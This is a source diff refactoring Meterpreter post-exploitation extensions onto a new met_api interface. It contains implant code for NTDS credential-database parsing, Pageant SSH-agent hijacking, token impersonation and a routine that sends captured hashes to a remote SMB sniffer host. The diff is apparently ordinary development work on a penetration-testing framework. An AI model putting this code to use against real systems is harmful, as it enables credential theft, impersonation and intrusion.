destroy_clipboard_monitor_capture(&gClipboardState->captureList, FALSE);
lock_release(gClipboardState->captureList.pClipboardCaptureLock);
met_api->lock.release(gClipboardState->captureList.pClipboardCaptureLock);
dwResult = ERROR_SUCCESS;
} while (0);
packet_transmit_response(dwResult, remote, pResponse);
met_api->packet.transmit_response(dwResult, remote, pResponse);
return dwResult;
}

View File

@ -2,12 +2,13 @@
* @file extapi.h
* @brief Entry point and intialisation definitions for the extended API extension.
*/
#include "../../common/common.h"
#include "common.h"
#include "common_metapi.h"
// Required so that use of the API works.
MetApi* met_api = NULL;
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
#include "window.h"
@ -18,9 +19,6 @@
#include "ntds.h"
#include "pageantjacker.h"
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
/*! @brief List of commands that the extended API extension providers. */
Command customCommands[] =
{
@ -45,14 +43,15 @@ Command customCommands[] =
/*!
* @brief Initialize the server extension.
* @param api Pointer to the Meterpreter API structure.
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
{
hMetSrv = remote->met_srv;
met_api = api;
command_register_all(customCommands);
met_api->command.register_all(customCommands);
initialise_clipboard();
initialise_service();
@ -67,7 +66,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
command_deregister_all(customCommands);
met_api->command.deregister_all(customCommands);
return ERROR_SUCCESS;
}

View File

@ -3,6 +3,7 @@
* @brief NTDS channel interface
*/
#include "extapi.h"
#include "common_metapi.h"
#define JET_VERSION 0x0501
@ -28,10 +29,10 @@ typedef struct
// The user interacts with the NTDS database through that channel from that point on.
DWORD ntds_parse(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
DWORD res = ERROR_SUCCESS;
struct jetState *ntdsState = calloc(1,sizeof(struct jetState));
PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_NTDS_PATH);
PCHAR filePath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_NTDS_PATH);
// Check if the File exists
if (0xffffffff == GetFileAttributes(filePath)) {
res = 2;
@ -149,7 +150,7 @@ DWORD ntds_parse(Remote *remote, Packet *packet)
chops.native.context = ctx;
chops.native.close = ntds_channel_close;
chops.read = ntds_channel_read;
if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS, &chops)))
if (!(newChannel = met_api->channel.create_pool(0, CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS, &chops)))
{
res = ERROR_NOT_ENOUGH_MEMORY;
free(accountColumns);
@ -159,11 +160,11 @@ DWORD ntds_parse(Remote *remote, Packet *packet)
goto out;
}
channel_set_type(newChannel, "ntds");
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));
met_api->channel.set_type(newChannel, "ntds");
met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(newChannel));
out:
packet_transmit_response(res, remote, response);
met_api->packet.transmit_response(res, remote, response);
return ERROR_SUCCESS;
}

View File

@ -3,6 +3,7 @@
* @brief Definitions for NTDS Jet Engine functions
*/
#include "extapi.h"
#include "common_metapi.h"
#define JET_VERSION 0x0501
@ -246,7 +247,7 @@ JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns
return readStatus;
}
char *accountNameStr = wchar_to_utf8(accountName);
char *accountNameStr = met_api->string.wchar_to_utf8(accountName);
if (accountNameStr) {
strncpy_s(userAccount->accountName, ACCOUNT_NAME_SIZE, accountNameStr, ACCOUNT_NAME_SIZE - 1);
free(accountNameStr);
@ -262,7 +263,7 @@ JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns
return readStatus;
}
char *accountDescriptionStr = wchar_to_utf8(accountDescription);
char *accountDescriptionStr = met_api->string.wchar_to_utf8(accountDescription);
if (accountDescriptionStr) {
strncpy_s(userAccount->accountDescription, ACCOUNT_DESC_SIZE, accountDescriptionStr, ACCOUNT_DESC_SIZE - 1);
free(accountDescriptionStr);

View File

@ -3,6 +3,7 @@
* @brief Entry point and intialisation functionality for the pageantjacker extention.
*/
#include "extapi.h"
#include "common_metapi.h"
#include "pageantjacker.h"
#include <stdio.h>
@ -173,14 +174,14 @@ out:
DWORD request_pageant_send_query(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
Packet *response = met_api->packet.create_response(packet);
DWORD rawDataSizeIn = 0;
Byte *rawDataIn = NULL;
byte *rawDataIn = NULL;
PAGEANTQUERYRESULTS results = { 0 };
// Retrieve from metasploit
rawDataSizeIn = packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_PAGEANT_SIZE_IN);
rawDataIn = packet_get_tlv_value_raw(packet, TLV_TYPE_EXT_PAGEANT_BLOB_IN);
rawDataSizeIn = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXT_PAGEANT_SIZE_IN);
rawDataIn = met_api->packet.get_tlv_value_raw(packet, TLV_TYPE_EXT_PAGEANT_BLOB_IN);
dprintf("[PJ(request_pageant_send_query)] Size in: %d. Data is at 0x%p", rawDataSizeIn, rawDataIn);
@ -194,9 +195,9 @@ DWORD request_pageant_send_query(Remote *remote, Packet *packet)
send_query_to_pageant(rawDataIn, rawDataSizeIn, (PAGEANTQUERYRESULTS *) &results);
// Build the packet based on the respones from the Pageant interaction.
packet_add_tlv_bool(response, TLV_TYPE_EXT_PAGEANT_STATUS, results.result);
packet_add_tlv_raw(response, TLV_TYPE_EXT_PAGEANT_RETURNEDBLOB, results.blob, results.bloblength);
packet_add_tlv_uint(response, TLV_TYPE_EXT_PAGEANT_ERRORMESSAGE, results.errorMessage);
met_api->packet.add_tlv_bool(response, TLV_TYPE_EXT_PAGEANT_STATUS, results.result);
met_api->packet.add_tlv_raw(response, TLV_TYPE_EXT_PAGEANT_RETURNEDBLOB, results.blob, results.bloblength);
met_api->packet.add_tlv_uint(response, TLV_TYPE_EXT_PAGEANT_ERRORMESSAGE, results.errorMessage);
dprintf("[PJ(request_pageant_send_query)] Success: %d. Return data len "
"%d, data is at 0x%p. Error message at 0x%p (%d)",
results.result, results.bloblength, results.blob,
@ -205,7 +206,7 @@ DWORD request_pageant_send_query(Remote *remote, Packet *packet)
free(results.blob);
// Transmit the packet to metasploit
packet_transmit_response(ERROR_SUCCESS, remote, response);
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
return ERROR_SUCCESS;
}

View File

@ -4,6 +4,7 @@
*/
#include "extapi.h"
#include "service.h"
#include "common_metapi.h"
#include <Sddl.h>
@ -189,7 +190,7 @@ DWORD request_service_control(Remote *remote, Packet *packet)
LPSTR lpServiceName = NULL;
ServiceOperation eServiceOp = 0;
DWORD dwResult = ERROR_SUCCESS;
Packet * response = packet_create_response(packet);
Packet * response = met_api->packet.create_response(packet);
do
{
@ -200,13 +201,13 @@ DWORD request_service_control(Remote *remote, Packet *packet)
break;
}
lpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_CTRL_NAME);
lpServiceName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_CTRL_NAME);
if (!lpServiceName)
{
BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service name parameter", ERROR_INVALID_PARAMETER);
}
eServiceOp = (ServiceOperation)packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_SERVICE_CTRL_OP);
eServiceOp = (ServiceOperation)met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXT_SERVICE_CTRL_OP);
if (eServiceOp == 0)
{
BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service operation parameter", ERROR_INVALID_PARAMETER);
@ -220,7 +221,7 @@ DWORD request_service_control(Remote *remote, Packet *packet)
dprintf("[EXTAPI SERVICE] Transmitting response back to caller.");
if (response)
{
packet_transmit_response(dwResult, remote, response);
met_api->packet.transmit_response(dwResult, remote, response);
}
return dwResult;
@ -235,7 +236,7 @@ DWORD request_service_control(Remote *remote, Packet *packet)
DWORD request_service_enum(Remote *remote, Packet *packet)
{
DWORD dwResult = ERROR_SUCCESS;
Packet * response = packet_create_response(packet);
Packet * response = met_api->packet.create_response(packet);
do
{
@ -254,7 +255,7 @@ DWORD request_service_enum(Remote *remote, Packet *packet)
dprintf("[EXTAPI SERVICE] Transmitting response back to caller.");
if (response)
{
packet_transmit_response(dwResult, remote, response);
met_api->packet.transmit_response(dwResult, remote, response);
}
return dwResult;
@ -274,7 +275,7 @@ DWORD request_service_query(Remote *remote, Packet *packet)
{
LPSTR lpServiceName = NULL;
DWORD dwResult = ERROR_SUCCESS;
Packet * response = packet_create_response(packet);
Packet * response = met_api->packet.create_response(packet);
do
{
@ -285,7 +286,7 @@ DWORD request_service_query(Remote *remote, Packet *packet)
break;
}
lpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_ENUM_NAME);
lpServiceName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_ENUM_NAME);
if (!lpServiceName)
{
BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service name parameter", ERROR_INVALID_PARAMETER);
@ -299,7 +300,7 @@ DWORD request_service_query(Remote *remote, Packet *packet)
dprintf("[EXTAPI SERVICE] Transmitting response back to caller.");
if (response)
{
packet_transmit_response(dwResult, remote, response);
met_api->packet.transmit_response(dwResult, remote, response);
}
return dwResult;
@ -605,15 +606,15 @@ DWORD execute_service_task(LPCSTR cpServiceName, ServiceOperation eServiceOp, Pa
*/
VOID add_enumerated_service(Packet *pResponse, LPCSTR cpName, LPCSTR cpDisplayName, DWORD dwProcessId, DWORD dwStatus, BOOL bInteractive)
{
Packet* pGroup = packet_create_group();
Packet* pGroup = met_api->packet.create_group();
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_NAME, cpName);
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_DISPLAYNAME, cpDisplayName);
packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_PID, dwProcessId);
packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_STATUS, dwStatus);
packet_add_tlv_bool(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_INTERACTIVE, bInteractive);
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_NAME, cpName);
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_DISPLAYNAME, cpDisplayName);
met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_PID, dwProcessId);
met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_STATUS, dwStatus);
met_api->packet.add_tlv_bool(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_INTERACTIVE, bInteractive);
packet_add_group(pResponse, TLV_TYPE_EXT_SERVICE_ENUM_GROUP, pGroup);
met_api->packet.add_group(pResponse, TLV_TYPE_EXT_SERVICE_ENUM_GROUP, pGroup);
}
/*!
@ -658,12 +659,12 @@ DWORD get_service_config(SC_HANDLE scService, Packet *pResponse)
}
dprintf("[EXTAPI SERVICE] Start type: %u", lpServiceConfig->dwStartType);
packet_add_tlv_uint(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTTYPE, lpServiceConfig->dwStartType);
packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DISPLAYNAME, lpServiceConfig->lpDisplayName);
packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTNAME, lpServiceConfig->lpServiceStartName);
packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_PATH, lpServiceConfig->lpBinaryPathName);
packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_LOADORDERGROUP, lpServiceConfig->lpLoadOrderGroup ? lpServiceConfig->lpLoadOrderGroup : "");
packet_add_tlv_bool(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE, lpServiceConfig->dwServiceType & SERVICE_INTERACTIVE_PROCESS);
met_api->packet.add_tlv_uint(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTTYPE, lpServiceConfig->dwStartType);
met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DISPLAYNAME, lpServiceConfig->lpDisplayName);
met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTNAME, lpServiceConfig->lpServiceStartName);
met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_PATH, lpServiceConfig->lpBinaryPathName);
met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_LOADORDERGROUP, lpServiceConfig->lpLoadOrderGroup ? lpServiceConfig->lpLoadOrderGroup : "");
met_api->packet.add_tlv_bool(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE, lpServiceConfig->dwServiceType & SERVICE_INTERACTIVE_PROCESS);
} while (0);
@ -703,7 +704,7 @@ DWORD get_service_status(SC_HANDLE scService, Packet *pResponse)
break;
}
packet_add_tlv_uint(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STATUS, serviceStatus.dwCurrentState);
met_api->packet.add_tlv_uint(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STATUS, serviceStatus.dwCurrentState);
} while (0);
@ -757,7 +758,7 @@ DWORD get_service_dacl(SC_HANDLE scService, Packet *pResponse)
BREAK_ON_ERROR("[EXTAPI SERVICE] Unable to get DACL string");
}
packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DACL, lpDaclString);
met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DACL, lpDaclString);
} while (0);

View File

@ -3,6 +3,7 @@
* @brief Definitions for window management functionality
*/
#include "extapi.h"
#include "common_metapi.h"
#include "window.h"
VOID add_enumerated_window(Packet *pResponse, QWORD qwHandle, const wchar_t* cpWindowTitle_u, const wchar_t* cpClassName_u, DWORD dwProcessId);
@ -186,7 +187,7 @@ DWORD request_window_enum(Remote *remote, Packet *packet)
QWORD parentWindow = 0;
DWORD dwResult = ERROR_SUCCESS;
BOOL bIncludeUnknown = FALSE;
Packet * response = packet_create_response(packet);
Packet * response = met_api->packet.create_response(packet);
do
{
@ -199,10 +200,10 @@ DWORD request_window_enum(Remote *remote, Packet *packet)
// Extract the specified parent window. If this is NULL, that's ok, as we'll
// just enumerate top-level windows.
parentWindow = packet_get_tlv_value_qword(packet, TLV_TYPE_EXT_WINDOW_ENUM_HANDLE);
parentWindow = met_api->packet.get_tlv_value_qword(packet, TLV_TYPE_EXT_WINDOW_ENUM_HANDLE);
// Extract the flag that indicates of unknown windows should be included in the output
bIncludeUnknown = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_WINDOW_ENUM_INCLUDEUNKNOWN);
bIncludeUnknown = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_WINDOW_ENUM_INCLUDEUNKNOWN);
dprintf("[EXTAPI WINDOW] Beginning window enumeration");
dwResult = enumerate_windows(response, bIncludeUnknown, parentWindow);
@ -212,7 +213,7 @@ DWORD request_window_enum(Remote *remote, Packet *packet)
dprintf("[EXTAPI WINDOW] Transmitting response back to caller.");
if (response)
{
packet_transmit_response(dwResult, remote, response);
met_api->packet.transmit_response(dwResult, remote, response);
}
return dwResult;
@ -228,11 +229,11 @@ DWORD request_window_enum(Remote *remote, Packet *packet)
*/
VOID add_enumerated_window(Packet *pResponse, QWORD qwHandle, const wchar_t* cpWindowTitle, const wchar_t* cpClassName, DWORD dwProcessId)
{
Packet* pGroup = packet_create_group();
Packet* pGroup = met_api->packet.create_group();
packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_PID, dwProcessId);
packet_add_tlv_qword(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_HANDLE, qwHandle);
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_TITLE, wchar_to_utf8(cpWindowTitle));
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_CLASSNAME, wchar_to_utf8(cpClassName));
packet_add_group(pResponse, TLV_TYPE_EXT_WINDOW_ENUM_GROUP, pGroup);
met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_PID, dwProcessId);
met_api->packet.add_tlv_qword(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_HANDLE, qwHandle);
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_TITLE, met_api->string.wchar_to_utf8(cpWindowTitle));
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_WINDOW_ENUM_CLASSNAME, met_api->string.wchar_to_utf8(cpClassName));
met_api->packet.add_group(pResponse, TLV_TYPE_EXT_WINDOW_ENUM_GROUP, pGroup);
}

View File

@ -3,6 +3,7 @@
* @brief Definitions for WMI request handling functionality.
*/
#include "extapi.h"
#include "common_metapi.h"
#include "wshelpers.h"
#include "wmi.h"
#include "wmi_interface.h"
@ -20,7 +21,7 @@ DWORD request_wmi_query(Remote *remote, Packet *packet)
LPSTR lpValue = NULL;
LPWSTR lpwRoot = NULL;
LPWSTR lpwQuery = NULL;
Packet * response = packet_create_response(packet);
Packet * response = met_api->packet.create_response(packet);
do
{
@ -29,7 +30,7 @@ DWORD request_wmi_query(Remote *remote, Packet *packet)
BREAK_WITH_ERROR("[EXTAPI WMI] Unable to create response packet", ERROR_OUTOFMEMORY);
}
lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_WMI_DOMAIN);
lpValue = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_WMI_DOMAIN);
if (!lpValue)
{
@ -44,7 +45,7 @@ DWORD request_wmi_query(Remote *remote, Packet *packet)
break;
}
lpValue = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_WMI_QUERY);
lpValue = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_WMI_QUERY);
dprintf("[EXTAPI WMI] Query: %s", lpValue);
dwResult = to_wide_string(lpValue, &lpwQuery);
if (dwResult != ERROR_SUCCESS)
@ -71,7 +72,7 @@ DWORD request_wmi_query(Remote *remote, Packet *packet)
dprintf("[EXTAPI WMI] Transmitting response back to caller.");
if (response)
{
packet_transmit_response(dwResult, remote, response);
met_api->packet.transmit_response(dwResult, remote, response);
}
return dwResult;

View File

@ -5,6 +5,7 @@
*/
extern "C" {
#include "extapi.h"
#include "common_metapi.h"
#include <inttypes.h>
#include "wmi_interface.h"
}
@ -327,7 +328,7 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response)
VARIANT** fields = (VARIANT**)malloc(sizeof(VARIANT*) * fieldCount);
char value[FIELD_SIZE];
Packet* fieldGroup = packet_create_group();
Packet* fieldGroup = met_api->packet.create_group();
memset(fields, 0, sizeof(VARIANT*) * fieldCount);
@ -337,14 +338,14 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response)
SafeArrayPtrOfIndex(pFieldArray, indices, (void**)&fields[i]);
_bstr_t bstr(fields[i]->bstrVal);
packet_add_tlv_string(fieldGroup, TLV_TYPE_EXT_WMI_FIELD, (const char*)bstr);
met_api->packet.add_tlv_string(fieldGroup, TLV_TYPE_EXT_WMI_FIELD, (const char*)bstr);
dprintf("[WMI] Added header field: %s", (const char*)bstr);
}
dprintf("[WMI] added all field headers");
// add the field names to the packet
packet_add_group(response, TLV_TYPE_EXT_WMI_FIELDS, fieldGroup);
met_api->packet.add_group(response, TLV_TYPE_EXT_WMI_FIELDS, fieldGroup);
dprintf("[WMI] processing values...");
// with that horrible pain out of the way, let's actually grab the data
@ -356,7 +357,7 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response)
break;
}
Packet* valueGroup = packet_create_group();
Packet* valueGroup = met_api->packet.create_group();
for (LONG i = 0; i < fieldCount; ++i)
{
@ -373,13 +374,13 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response)
variant_to_string(_variant_t(varValue), value, FIELD_SIZE);
}
packet_add_tlv_string(valueGroup, TLV_TYPE_EXT_WMI_VALUE, value);
met_api->packet.add_tlv_string(valueGroup, TLV_TYPE_EXT_WMI_VALUE, value);
dprintf("[WMI] Added value for %s: %s", (char*)_bstr_t(fields[i]->bstrVal), value);
}
// add the field values to the packet
packet_add_group(response, TLV_TYPE_EXT_WMI_VALUES, valueGroup);
met_api->packet.add_group(response, TLV_TYPE_EXT_WMI_VALUES, valueGroup);
pObj->Release();
pObj = NULL;
@ -436,7 +437,7 @@ DWORD wmi_query(LPCWSTR lpwRoot, LPWSTR lpwQuery, Packet* response)
_com_error comError(hResult);
_snprintf_s(errorMessage, 1024, 1023, "%s (0x%x)", comError.ErrorMessage(), hResult);
dprintf("[WMI] returning error -> %s", errorMessage);
packet_add_tlv_string(response, TLV_TYPE_EXT_WMI_ERROR, errorMessage);
met_api->packet.add_tlv_string(response, TLV_TYPE_EXT_WMI_ERROR, errorMessage);
hResult = S_OK;
}

View File

@ -1,5 +1,6 @@
#define _CRT_SECURE_NO_DEPRECATE 1
#include "../../common/common.h"
#include "common.h"
#include "common_metapi.h"
#include <stdio.h>
#include <assert.h>
#include <stdlib.h>
@ -25,8 +26,8 @@ DWORD request_incognito_snarf_hashes(Remote *remote, Packet *packet)
wchar_t conn_string[BUF_SIZE] = L"", domain_name[BUF_SIZE] = L"",
return_value[BUF_SIZE] = L"", temp[BUF_SIZE] = L"";
Packet *response = packet_create_response(packet);
char *smb_sniffer_ip = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
Packet *response = met_api->packet.create_response(packet);
char *smb_sniffer_ip = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_SERVERNAME);
// Initialise net_resource structure (essentially just set ip to that of smb_sniffer)
if (_snwprintf(conn_string, BUF_SIZE, L"\\\\%S", smb_sniffer_ip) == -1)
@ -45,7 +46,7 @@ DWORD request_incognito_snarf_hashes(Remote *remote, Packet *packet)
token_list = get_token_list(&num_tokens, &token_privs);
if (!token_list)
{
packet_transmit_response(GetLastError(), remote, response);
met_api->packet.transmit_response(GetLastError(), remote, response);
goto cleanup;
}
@ -76,7 +77,7 @@ DWORD request_incognito_snarf_hashes(Remote *remote, Packet *packet)
}
}
packet_transmit_response(ERROR_SUCCESS, remote, response);
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
cleanup:
free(token_list);

View File

@ -2,21 +2,19 @@
* This module implements token manipulation features
*/
#define _CRT_SECURE_NO_DEPRECATE 1
#include "../../common/common.h"
#include "common.h"
#include "common_metapi.h"
#include <psapi.h>
#include "incognito.h"
#include "token_info.h"
#include "list_tokens.h"
#include "user_management.h"
#include "hash_stealer.h"
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
// Required so that use of the API works.
MetApi* met_api = NULL;
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
DWORD request_incognito_list_tokens(Remote *remote, Packet *packet);
DWORD request_incognito_impersonate_user(Remote *remote, Packet *packet);
@ -32,8 +30,8 @@ DWORD request_incognito_list_tokens(Remote *remote, Packet *packet)
char *delegation_tokens = calloc(sizeof(char), BUF_SIZE);
char *impersonation_tokens = calloc(sizeof(char), BUF_SIZE);
Packet *response = packet_create_response(packet);
token_order = packet_get_tlv_value_uint(packet, TLV_TYPE_INCOGNITO_LIST_TOKENS_TOKEN_ORDER);
Packet *response = met_api->packet.create_response(packet);
token_order = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_INCOGNITO_LIST_TOKENS_TOKEN_ORDER);
dprintf("[INCOGNITO] Enumerating tokens");
// Enumerate tokens
@ -42,7 +40,7 @@ DWORD request_incognito_list_tokens(Remote *remote, Packet *packet)
if (!token_list)
{
dprintf("[INCOGNITO] Enumerating tokens failed with %u (%x)", GetLastError(), GetLastError());
packet_transmit_response(GetLastError(), remote, response);
met_api->packet.transmit_response(GetLastError(), remote, response);
free(uniq_tokens);
free(delegation_tokens);
@ -76,7 +74,7 @@ DWORD request_incognito_list_tokens(Remote *remote, Packet *packet)
if (uniq_tokens[i].delegation_available)
{
bTokensAvailable = TRUE;
char *username = wchar_to_utf8(uniq_tokens[i].username);
char *username = met_api->string.wchar_to_utf8(uniq_tokens[i].username);
if (username) {
strncat(delegation_tokens, username, BUF_SIZE - strlen(delegation_tokens) - 1);
strncat(delegation_tokens, "\n", BUF_SIZE - strlen(delegation_tokens) - 1);
@ -96,7 +94,7 @@ DWORD request_incognito_list_tokens(Remote *remote, Packet *packet)
if (!uniq_tokens[i].delegation_available && uniq_tokens[i].impersonation_available)
{
bTokensAvailable = TRUE;
char *username = wchar_to_utf8(uniq_tokens[i].username);
char *username = met_api->string.wchar_to_utf8(uniq_tokens[i].username);
if (username) {
strncat(impersonation_tokens, username, BUF_SIZE - strlen(impersonation_tokens) - 1);
strncat(impersonation_tokens, "\n", BUF_SIZE - strlen(impersonation_tokens) - 1);
@ -110,9 +108,9 @@ DWORD request_incognito_list_tokens(Remote *remote, Packet *packet)
strncat(impersonation_tokens, "No tokens available\n", BUF_SIZE - strlen(impersonation_tokens) - 1);
}
packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION, delegation_tokens);
packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION, impersonation_tokens);
packet_transmit_response(ERROR_SUCCESS, remote, response);
met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION, delegation_tokens);
met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION, impersonation_tokens);
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
free(token_list);
free(uniq_tokens);
@ -132,9 +130,9 @@ DWORD request_incognito_impersonate_token(Remote *remote, Packet *packet)
HANDLE xtoken;
TOKEN_PRIVS token_privs;
Packet *response = packet_create_response(packet);
char *impersonate_token = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN);
wchar_t *requested_username = utf8_to_wchar(impersonate_token);
Packet *response = met_api->packet.create_response(packet);
char *impersonate_token = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN);
wchar_t *requested_username = met_api->string.utf8_to_wchar(impersonate_token);
// Enumerate tokens
token_list = get_token_list(&num_tokens, &token_privs);
@ -168,7 +166,7 @@ DWORD request_incognito_impersonate_token(Remote *remote, Packet *packet)
if (is_token(token_list[i].token, requested_username))
if (ImpersonateLoggedOnUser(token_list[i].token))
{
char *username = wchar_to_utf8(token_list[i].username);
char *username = met_api->string.wchar_to_utf8(token_list[i].username);
if (username) {
strncat(return_value, "[+] Successfully impersonated user ", sizeof(return_value)-strlen(return_value)-1);
strncat(return_value, username, sizeof(return_value)-strlen(return_value)-1);
@ -177,7 +175,7 @@ DWORD request_incognito_impersonate_token(Remote *remote, Packet *packet)
if (!DuplicateTokenEx(token_list[i].token, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &xtoken)) {
dprintf("[INCOGNITO] Failed to duplicate token for %s (%u)", username, GetLastError());
} else {
core_update_thread_token(remote, xtoken);
met_api->thread.update_token(remote, xtoken);
}
free(username);
}
@ -197,8 +195,8 @@ cleanup:
free(token_list);
free(uniq_tokens);
packet_add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
packet_transmit_response(ERROR_SUCCESS, remote, response);
met_api->packet.add_tlv_string(response, TLV_TYPE_INCOGNITO_GENERIC_RESPONSE, return_value);
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
return ERROR_SUCCESS;
}
@ -216,14 +214,15 @@ Command customCommands[] =
/*!
* @brief Initialize the server extension.
* @param api Pointer to the Meterpreter API structure.
* @param remote Pointer to the remote instance.
* @return Indication of success or failure.
*/
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
{
hMetSrv = remote->met_srv;
met_api = api;
command_register_all( customCommands );
met_api->command.register_all( customCommands );
return ERROR_SUCCESS;
}
@ -235,7 +234,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
*/
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{
command_deregister_all( customCommands );
met_api->command.deregister_all( customCommands );
return ERROR_SUCCESS;
}

View File

@ -1,5 +1,6 @@
#define _CRT_SECURE_NO_DEPRECATE 1
#include "../../common/common.h"
#include "common.h"
#include "common_metapi.h"
